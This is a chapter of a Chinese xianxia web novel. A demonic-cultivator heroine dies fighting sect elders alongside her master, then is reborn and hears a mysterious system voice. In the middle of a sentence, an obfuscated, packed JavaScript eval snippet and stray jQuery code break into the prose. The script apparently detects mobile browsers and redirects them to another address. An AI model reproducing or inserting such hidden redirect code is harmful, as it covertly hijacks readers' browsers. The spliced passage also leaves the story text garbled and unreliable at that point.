雷声轰然在众人耳边炸开,雨一直未停。
“大言不惭!我倒要看看你究竟有几分能耐。”
云阳仙君话音刚落,就调动灵力祭剑而出,巨大的灵光裹着剑意,在空中形成剑阵向尤妙泠袭去。
那剑阵威力巨大,竟是豪不留情。
尤妙泠神色一冷,看了眼身旁之人,随即用魔气幻了个法盾,才提剑起飞身迎战,以魔气缠绕手中之剑,化剑气万千,直直地破开了那剑阵,直接向云阳仙君刺去。
法盾内,黎夙雪握伞的手不自觉地用力,手背上的青色经络似都要从皮下透出来,而他只怔怔地看着黑夜中的战况,神情莫测不明。
“云阳小心!”其他三位五峰长老仙君见此,纷纷亮出法器,前去阻拦。
尤妙泠手腕一翻,诡异的魔气瞬间而出,将她身影隐匿,让那三位仙君的术法扑了个空。
她依靠着身法诡谲,在空中飘忽不定,似雨夜中的一抹飘扬的轻纱,奈何几人对她穷追不舍,逐渐将她困于其中。
尤妙泠手中剑势不停,挡住一人却有下一人袭来,另一只手更是不停掐诀,以抵挡不时出现的偷袭。
只见雨夜上空,灵力与魔气不停碰撞,生生将雨水炸开在空中成了雨雾,那巨大的威压让下面的弟子心惊胆战,似要喘不上来气。
尤妙泠一时不慎小臂就被划伤,她眼神一暗,正好对他们这种围攻之势扰的烦了。
她直接弃剑,双手掐诀,一个法阵自她手中不断变大,魔气冲天,震开似苍蝇围着她的人。
那四位仙君用尽全力,却还是不敌那魔气,直接被震落,砸入地面,喷出一口血来。
尤妙泠以魔气幻剑,飞速地朝地面上的几人袭去,想趁热打铁杀了他们。
“尔敢!”玄净仙君见形势不对,眼睛一眯,身形已闪到几人身前,只抬手,灵力磅礴冲出与那魔气轰然对撞,无形的罡风自起,似将时间都凝滞了一瞬。
僵持半晌,两人眼中均充斥着杀意。
两股力量几乎同时动了,随之而动的是两人已又在雨幕中大打出手,招招致命。
飞升之下唯有渡劫,除她师尊外,玄净仙君便是世间另一位渡劫期大能。
这老头不好对付,尤妙泠每次出手都几乎用尽全力,却还是渐渐地落了下风,在她几近力竭的那刻,终是不敌被灵力贯穿腹部,震落下去。
这一招太狠,打得她一时毫无反抗能力,只能任由身体随雨水飞速下降,眼前是无尽的黑夜,她第一次恨自己过于渺小,她好不甘心!
而预想中背部着地的疼痛并没有到来,她的后背撞入了另一个温热的胸膛之中,巨大的冲击连带着两人一起退后几步,随后她耳边传来一声闷哼声。
伞掉落在地,是师尊接住了她。
两人身形稳住,尤妙泠还未回神,身后之人就退开了,她因被重创,喉中血腥上涌,还是止不住喷了出来。
好疼。
尤妙泠身子晃了晃,眼前发黑,却强撑着自己没有倒下,借剑站直,手却止不住发颤,慢慢捂住了腹部,鲜血仍抑制不住从指缝间涌出。
此刻她有些庆幸自己今日穿了红裙,不然这满身是血的样子真是过于狼狈不堪了。
黎夙雪本要上前搀扶的的手微微一顿,眼底掠过一丝未曾察觉的心疼,看向落回地面的玄净仙君问道:“师兄,可否留她一命?”
玄净仙君甩袖冷哼,指着尤妙泠的腹部道:“现下怕是不行了,她没有魔丹,今日必须死。”
此话一出,众人皆倒吸一口气。
黎夙雪也望向了她腹部,呼吸停滞一瞬,手指不自觉攥紧,不曾想她竟是这般不要命的疯子。
尤妙泠眼神冰寒地扫过众人,随后垂眸不语。
是啊,她的金丹在入魔前就没有了,自然也没有魔丹。
世间入魔唯有两道。
一是,以金丹为载,汲魔气入体,以魔染丹,以丹养魔。
二是,以元婴为载,噬魔念而生,魔焚神魂,神魂生魔。
世间入魔者大多皆是以金丹入魔。而后者,敢尝试者寥寥无几,只因此道入魔时,需以神魂吞噬魔念,魔念万千每一种恶都会在神魂之中撕扯,每一下都是噬魂之痛,结成魔婴后也需时时刻刻承受焚烧神魂之痛,稍有不慎就会反被魔念吞噬神魂,身体则会成为无我嗜血的魔傀。
尤妙泠失了金丹,想要活着走出那恶妄山,自是以元婴入魔,幸而她成功了。
没人知道她入魔那夜承受何种程度般撕裂神魂之痛,以至于现在那时时刻刻的神魂焚烧之痛都已然没了什么感觉。
“宗主,她竟炼成了魔婴,此女不可留,若今日让她逃了,恐日后养出魔神啊!”云阳仙君想到后,当即大喊出声。
玄净仙君神情凝重起来,也知晓此事需谨慎,今日不能留有后患,否则恐日后危害世间。
闪电照亮黑夜,那一瞬如白昼的光映得尤妙泠的一袭红裙如雪中不落的梅,她冷笑一声,咬牙怒道:“你们还真是一如既往。不分世间善恶,真相黑白,仅凭仙魔二字断人生死未来。”
“就凭你们算什么正道!”
“放肆!”玄净仙君面色阴沉,双手瞬间结阵,“你今夜必死无疑。”
巨大的法阵凭空而起,带着巨大威压朝尤妙泠压去,她只能强抽体内之力,迎了上去。
但她的抵抗不堪一击,巨大的法阵还是压了下来,将她撞飞几米远,停下来后她身体不自觉地轻颤着,呕出大摊血来。
雨终是落在了身上,那一袭红裙中血与雨相融,脸上是雨是泪再难分辨。
她已经没有力气再维持雨盾了。
同一时间,黎夙雪也失去了避护,但他面色不改,只淋着雨慢慢地过去,捡起了那把伞,随后又朝着倒在雨中的女子走去。
雨被阻隔在伞外,尤妙泠缓缓抬眸,对上一双清冷狭长的眼,里面晦暗复杂的神色叫她看不懂,她只喃喃道:“师尊……”
魔婴现世就是世界之祸,黎夙雪看着她不语,只因不知还能说些什么,只因今夜她会死在此处。
“要想彻底杀了魔婴,需彻底诛灭她的神魂,几位师弟助我开诛魂阵!”玄净仙君此话一出,几位五大峰的仙君仙君长老们自然不敢拖延,立马飞身结阵。
只见玄净仙君双手灵力不停凭空画出金色阵纹,将其打入上空,几人灵力互相缠绕,顷刻间阵法已成。
阵法的金色灵力照亮夜空,灵力带着无尽惩恶诛魔的威压集中打在了尤妙泠身上,每一下都似要将她的身体和神魂撕扯开。
她很疼,却死死咬牙,不愿发出一点痛呼的声音。
她真的好不甘心!
此刻,她只想将她所受之痛千百倍还回去。
尤妙泠越是痛越是大笑出声,带着满满的癫狂与嘲讽,看向玄净仙君等人,咬牙道:“想要我死,那便为我陪葬吧。”
她燃烧命魂,引魔气而出注入空中,口中念道:“以命魂唤阵,引九天雷火,召太古往劫,归旧初混沌。”
霎时,雷声大震。
众人关注着大战,并为察觉太初山各处弥漫出浓郁的魔气,又逢雨夜视线模糊,魔气也形成了一个复杂的阵纹,从各处直至蔓延到尤妙泠身下,阵法已成,她成了阵眼。
“这是?”云阳仙君大骇道。
“太初山的上古阵法,我说了,我死了,你们就来给我陪葬吧。”尤妙泠说得很缓,她察觉到自己体内的生机在渐渐流逝,神魂也将崩溃,而阵法之中魔气更盛,已然将整座山围困。
这就是她偶得的机缘,她那年逃亡到太初山得了一个上古秘术传承,修为飞涨,同时也得知了这个藏在太初山威力巨大的上古阵法,她当时只觉需以自身作为阵眼才能开启的阵法过于阴狠,没想到还是有用上的一天。
一道道天雷落在阵法之中开始似水中游鱼一般乱窜,所行之处必是血肉横飞,死得人越多,阵纹就亮一分,力量也愈大,越来越红,似在用血肉喂养自身。
玄净仙君等人为了救人,前去打散雷光,却发现毫无作用,待凝合后雷光愈发强横,而想要去除阵纹,灵力却被红光吞噬,渐渐地红光开始吞噬一切。
黎夙雪看见此情形,神色变得难看起来,赶紧道:“尤妙泠!你是不信我会真的杀了你吗!快撤了这个阵法!”
“撤不了。”尤妙泠躺在地上淡然道,只静静地看了他一会。
纵然她被天下人共讨之,可还是唯独师尊为她撑伞而来。
她的师尊很好,她一直都知道,自她被师尊所救的那日起,她便知她的家她的归宿唯有在他身边。所以她用她的金丹救了师尊,她不愿意让这般好的人死,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491821|202268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也不想告诉他让他愧疚。
她贪念在他身边的时间,现在她的时间就要结束了,所以她突然想放他离开了,也想放过自己。
尤妙泠强忍疼痛,撑着身体坐起身,引出一滴心头血,弹进了黎夙雪的腹中。
至此她的金丹与她彻底断了联系,封印已解,她与师尊的情份也尽了。
她微微仰头看向他,释然地道:“黎夙雪,我不再需要师尊了,你我两不相欠。”
黎夙雪身体一僵,那滴血进入他体内时,封印顿时消失,修为似泉水般涌出恢复,与之而来的是一段散碎的记忆。
同时,诛魂阵仍不断地在撕裂着尤妙泠的身体与神魂,太初山的上古阵法也在吞噬着一切。
玄净仙君见此阵过于霸道,联合其他几人想要逃离。
尤妙察觉到了他们的意图,随即指尖微动,她体内鲜血顺着劈下的灵力似线般缠绕上阵纹,顺着阵纹寻到了阵源,随后飞散而出缠绕上了那欲逃的几人。
说好拉他们陪葬的,她向来说到做到,这血因通过她的身体连接了身下阵法,他们走不了了。
做完,尤妙泠无力地倒下,眼前渐渐模糊,随即闭上了眼,她体内所有的血与她的生机已然耗尽。
太累了太痛了。
阵法的红光愈发强盛,强得吞噬一切,召来的天雷也越来越强,越来越多,所过之处皆是血肉尸骨与灰烬,也离身为阵眼的她越来越近。
“尤妙泠,你为何要做到如此地步!”
耳朵传一道急促地声音,是黎夙雪。
尤妙泠想再睁眼看一眼他,却已经办不到了。
就她意识渐渐涣散时,体内却突然传来了她熟悉极寒的灵力,可她这身体从内到外早已千疮百孔,这些灵力如水注入了破碎的瓷瓶中留不住。
黎夙雪似还在她耳边说着什么,她已经听不清楚了。
雨声雷声、呼救声、耳边的声音渐渐远去,尤妙泠只觉得自己在无尽的深渊中下落,越来越黑,最终沉入黑暗。
与此同时,一道九天玄雷将黑夜都撕裂开来落在了阵眼处,吞天噬地,在那如日的炽光中,有一人也随着那红衣女子悄然消散了。
—
尤妙泠似被黑暗包裹着,宛如在水浮沉着,身体很痛很累,直到一道光破开黑暗,身体倏然一轻。
尤妙泠猛地睁开眼,鼻尖飘来清甜冷香的桃花暖香,久远的记忆被激起,这是她年少时最爱用的春来信,身体的疼痛也已经消失。
眼前不再是太初山的尸山血海,而是在一间清幽淡雅的房中。
她这是来到了地府,还是回到了人间?
“做恶梦了?”
尤妙泠闻声望去,床边是一个俊野爽朗的少年,肤色偏黑像是天生的小麦色,漆黑明亮的眼似盛着阳光般带着笑意正盯着她,好一个鲜活又意气风发的少年郎。
只是这人样貌甚是眼熟。
她瞳孔骤然一缩,这不正是她那英年早逝的倒霉师弟苏故澈吗?
“苏故澈?”她缓缓伸出手,在师弟疑惑的目光中,掐住了他的脸用力一拧。
苏故澈顿时痛呼出声:“痛痛痛,快放开。”
尤妙泠难以置信地放开手,那皮肤真实的触感,有着活人的温热。
她突然想到了了什么,随即运转功法,感应到自己现在修为居然停在金丹期,立刻内视自身,便看见灵力充沛的丹田中,有一枚流光溢彩的水系金丹。
她的金丹回来了!
“你发什么疯!我惹你了?”苏故澈揉着脸,神情愤然,随后又接着到,“不过现在不是聊这个的时候,马上入夜了,师尊唤我们一起商讨如何对付恶妖的时辰就要到了。”
师尊?恶妖?
尤妙泠瞬间冷静下来,思索片刻,跟随着久远的记忆,开口问道:“我们在淮州城?”
苏故澈:“是啊。真希望快些抓住那猖狂的恶妖。”
淮州城,这是她第一次下山历练的地方。
尤妙泠确认了,她重生了。
“叮,恭喜宿主成功激活姻缘红线系统!”
时间凝固,这声音竟然是直接在她脑海中响起,她下一秒探查神魂,确认神魂无事后,对这声音更加警惕,这声音似来自天外无影无形。
而这姻缘红线她知道,但系统是何物?